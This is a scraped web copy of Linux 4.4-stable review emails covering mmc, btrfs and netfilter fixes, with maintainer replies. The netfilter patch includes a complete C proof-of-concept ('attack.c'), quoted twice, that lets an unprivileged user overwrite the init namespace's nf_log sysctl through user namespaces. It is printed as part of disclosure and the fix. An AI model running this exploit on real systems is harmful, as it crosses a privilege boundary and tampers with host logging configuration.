@@ -661,7 +661,8 @@ static int sun4i_codec_probe(struct plat } card =sun4i_codec_create_card (&pdev->dev); -if (!card) { +if (IS_ERR (card)) { + ret =PTR_ERR (card);dev_err (&pdev->dev,"Failed to create our card\n" ); goto err_unregister_codec; }
Greg Kroah-Hartman
maintainerPATCH 36/38 mmc: mxs: Initialize the spinlock prior to using it
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Fabio Estevam <[email protected]>
commit f91346e8b5f46aaf12f1df26e87140584ffd1b3f upstream.
An interrupt may occur right after devm_request_irq() is called and prior to the spinlock initialization, leading to a kernel oops, as the interrupt handler uses the spinlock.
In order to prevent this problem, move the spinlock initialization prior to requesting the interrupts.
--- drivers/mmc/host/mxs-mmc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
drivers/mmc/host/mxs-mmc.c +2 -2
@@ -661,13 +661,13 @@ static int mxs_mmc_probe(struct platformplatform_set_drvdata (pdev, mmc); +spin_lock_init (&host->lock); + ret =devm_request_irq (&pdev->dev, irq_err, mxs_mmc_irq_handler,0 ,dev_name (&pdev->dev), host);if (ret) goto out_free_dma; -spin_lock_init (&host->lock); - ret =mmc_add_host (mmc);if (ret) goto out_free_dma;
Greg Kroah-Hartman
maintainerPATCH 37/38 btrfs: qgroup: Prevent qgroup->reserved from going subzero
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Goldwyn Rodrigues <[email protected]>
commit 0b34c261e235a5c74dcf78bd305845bd15fe2b42 upstream.
While free'ing qgroup->reserved resources, we much check if the page has not been invalidated by a truncate operation by checking if the page is still dirty before reducing the qgroup resources. Resources in such a case are free'd when the entire extent is released by delayed_ref.
This fixes a double accounting while releasing resources in case of truncating a file, reproduced by the following testcase.
SCRATCH_DEV=/dev/vdb
SCRATCH_MNT=/mnt
mkfs.btrfs -f $SCRATCH_DEV
mount -t btrfs $SCRATCH_DEV $SCRATCH_MNT
cd $SCRATCH_MNT
btrfs quota enable $SCRATCH_MNT
btrfs subvolume create a
btrfs qgroup limit 500m a $SCRATCH_MNT
sync
for c in {1..15}; do
dd if=/dev/zero bs=1M count=40 of=$SCRATCH_MNT/a/file; done
sleep 10
sync
sleep 5
touch $SCRATCH_MNT/a/newfile
echo "Removing file"
rm $SCRATCH_MNT/a/file
--- fs/btrfs/inode.c | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-)
fs/btrfs/inode.c +7 -2
@@ -8691,9 +8691,14 @@ static void btrfs_invalidatepage(struct* So even we call qgroup_free_data(), it won't decrease reserved * space. * 2) Not written to disk -* This means the reserved space should be freed here. +* This means the reserved space should be freed here. However, +* if a truncate invalidates the page (by clearing PageDirty) +* and the page is accounted for while allocating extent +* in btrfs_check_data_free_space() we let delayed_ref to +* free the entire extent. */ -btrfs_qgroup_free_data (inode, page_start,PAGE_CACHE_SIZE ); +if (PageDirty (page)) +btrfs_qgroup_free_data (inode, page_start,PAGE_SIZE );if (!inode_evicting) { clear_extent_bit(tree, page_start, page_end, EXTENT_LOCKED | EXTENT_DIRTY |
Greg Kroah-Hartman
maintainerPATCH 38/38 netfilter: fix namespace handling in nf_log_proc_dostring
In reply to Greg Kroah-Hartman4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jann Horn <[email protected]>
commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream.
nf_log_proc_dostring() used current's network namespace instead of the one corresponding to the sysctl file the write was performed on. Because the permission check happens at open time and the nf_log files in namespaces are accessible for the namespace owner, this can be abused by an unprivileged user to effectively write to the init namespace's nf_log sysctls.
Stash the "struct net *" in extra2 - data and extra1 are already used.
Repro code:
#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
char child_stack[1000000];
uid_t outer_uid;gid_t outer_gid;
int stolen_fd = -1;
void writefile(char *path, char *buf) {
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "unable to open thing");
if (write(fd, buf, strlen(buf)) != strlen(buf))
err(1, "unable to write thing");
close(fd);
}int child_fn(void *p_) {
if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
NULL))
err(1, "mount");
/* Yes, we need to set the maps for the net sysctls to recognize us
* as namespace root.
*/
char buf[1000];
sprintf(buf, "0 %d 1\n", (int)outer_uid);
writefile("/proc/1/uid_map", buf);
writefile("/proc/1/setgroups", "deny");
sprintf(buf, "0 %d 1\n", (int)outer_gid);
writefile("/proc/1/gid_map", buf);
stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
if (stolen_fd == -1)
err(1, "open nf_log");
return 0;
}int main(void) {
outer_uid = getuid();
outer_gid = getgid();
int child = clone(child_fn, child_stack + sizeof(child_stack),
CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
|CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
int status;
if (wait(&status) != child)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child exit status bad");
char *data = "NONE";
if (write(stolen_fd, data, strlen(data)) != strlen(data))
err(1, "write");
return 0;
}Repro:
$ gcc -Wall -o attack attack.c -std=gnu99 $ cat /proc/sys/net/netfilter/nf_log/2 nf_log_ipv4 $ ./attack $ cat /proc/sys/net/netfilter/nf_log/2 NONE
Because this looks like an issue with very low severity, I'm sending it to the public list directly.
--- net/netfilter/nf_log.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-)
net/netfilter/nf_log.c +4 -2
@@ -401,7 +401,7 @@ static int nf_log_proc_dostring(struct csize_t size = *lenp;int r =0 ;int tindex = (unsigned long )table->extra1; -struct net *net = current->nsproxy->net_ns; +struct net *net = table->extra2;if (write) {if (size >sizeof (buf))
@@ -453,7 +453,6 @@ static int netfilter_log_sysctl_init(str 3, "%d", i); nf_log_sysctl_table[i].procname = nf_log_sysctl_fnames[i]; - nf_log_sysctl_table[i].data =NULL ; nf_log_sysctl_table[i].maxlen =NFLOGGER_NAME_LEN ; nf_log_sysctl_table[i].mode =0644 ; nf_log_sysctl_table[i].proc_handler =
@@ -463,6 +462,9 @@ static int netfilter_log_sysctl_init(str } } +for (i =NFPROTO_UNSPEC ; i <NFPROTO_NUMPROTO ; i++) + table[i].extra2 = net; + net->nf.nf_log_dir_header =register_net_sysctl (net,"net/netfilter/nf_log" , table);
Re: [PATCH 4.4 38/38] netfilter: fix namespace handling in nf_log_proc_dostring
Greg,
Thanks a lot for picking up this one!
I have more stable stuff for netfilter, I can prepare a batch for you. I'll keep it small and only urgent stuff.
Let me know if that's fine with you.
Quoted 139 lines · Greg Kroah-Hartman
4.4-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jann Horn <[email protected]>
commit
dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0upstream.
nf_log_proc_dostring()used current's network namespace instead of the one corresponding to the sysctl file the write was performed on. Because the permission check happens at open time and thenf_logfiles in namespaces are accessible for the namespace owner, this can be abused by an unprivileged user to effectively write to the init namespace'snf_logsysctls.Stash the "struct net *" in extra2 - data and extra1 are already used.
Repro code:
#define
_GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>char child_stack[1000000];
uid_touter_uid;gid_touter_gid;
intstolen_fd= -1;void writefile(char *path, char *buf) { int fd = open(path, O_WRONLY); if (fd == -1) err(1, "unable to open thing"); if (write(fd, buf, strlen(buf)) != strlen(buf)) err(1, "unable to write thing"); close(fd); }int child_fn(void *p_) { if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC, NULL)) err(1, "mount"); /* Yes, we need to set the maps for the net sysctls to recognize us * as namespace root. */ char buf[1000]; sprintf(buf, "0 %d 1\n", (int)outer_uid); writefile("/proc/1/uid_map", buf); writefile("/proc/1/setgroups", "deny"); sprintf(buf, "0 %d 1\n", (int)outer_gid); writefile("/proc/1/gid_map", buf); stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY); if (stolen_fd == -1) err(1, "open nf_log"); return 0; }int main(void) { outer_uid = getuid(); outer_gid = getgid(); int child = clone(child_fn, child_stack + sizeof(child_stack), CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL); if (child == -1) err(1, "clone"); int status; if (wait(&status) != child) err(1, "wait"); if (!WIFEXITED(status) || WEXITSTATUS(status) != 0) errx(1, "child exit status bad"); char *data = "NONE"; if (write(stolen_fd, data, strlen(data)) != strlen(data)) err(1, "write"); return 0; }Repro:
$ gcc -Wall -o attack attack.c -std=gnu99 $ cat /proc/sys/net/netfilter/nf_log/2 nf_log_ipv4 $ ./attack $ cat /proc/sys/net/netfilter/nf_log/2 NONEBecause this looks like an issue with very low severity, I'm sending it to the public list directly.
Signed-off-by Jann Horn <[email protected]>Signed-off-by Pablo Neira Ayuso <[email protected]>Signed-off-by Greg Kroah-Hartman <[email protected]>--- net/netfilter/nf_log.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-)net/netfilter/nf_log.c +4
-2@@ -401,7 +401,7 @@ static int nf_log_proc_dostring(struct csize_t size = *lenp;int r =0 ;int tindex = (unsigned long )table->extra1; -struct net *net = current->nsproxy->net_ns; +struct net *net = table->extra2;if (write) {if (size >sizeof (buf))@@ -453,7 +453,6 @@ static int netfilter_log_sysctl_init(str 3, "%d", i); nf_log_sysctl_table[i].procname = nf_log_sysctl_fnames[i]; - nf_log_sysctl_table[i].data =NULL ; nf_log_sysctl_table[i].maxlen =NFLOGGER_NAME_LEN ; nf_log_sysctl_table[i].mode =0644 ; nf_log_sysctl_table[i].proc_handler =@@ -463,6 +462,9 @@ static int netfilter_log_sysctl_init(str } } +for (i =NFPROTO_UNSPEC ; i <NFPROTO_NUMPROTO ; i++) + table[i].extra2 = net; + net->nf.nf_log_dir_header =register_net_sysctl (net,"net/netfilter/nf_log" , table);
Greg Kroah-Hartman
maintainerRe: [PATCH 4.4 38/38] netfilter: fix namespace handling in nf_log_proc_dostring
Quoted 8 lines · Pablo Neira Ayuso
Greg,
Thanks a lot for picking up this one!
I have more stable stuff for netfilter, I can prepare a batch for you. I'll keep it small and only urgent stuff.
Let me know if that's fine with you.
That would be wonderful, but there is no need to "keep it small" if they resolve issues that people are running into.
thanks,
greg k-h
Quoted 8 lines · Greg Kroah-Hartman
This is the start of the stable review cycle for the 4.4.33 release. There are 38 patches in this series, all will be posted as a response to this one. If anyone has any issues with these being applied, please let me know.
Responses should be made by Sat Nov 19 10:32:25 UTC 2016. Anything received after that time might be too late.
Build results:
total: 149 pass: 149 fail: 0 Qemu test results: total: 107 pass: 107 fail: 0
Details are available at http://kerneltests.org/builders.
Guenter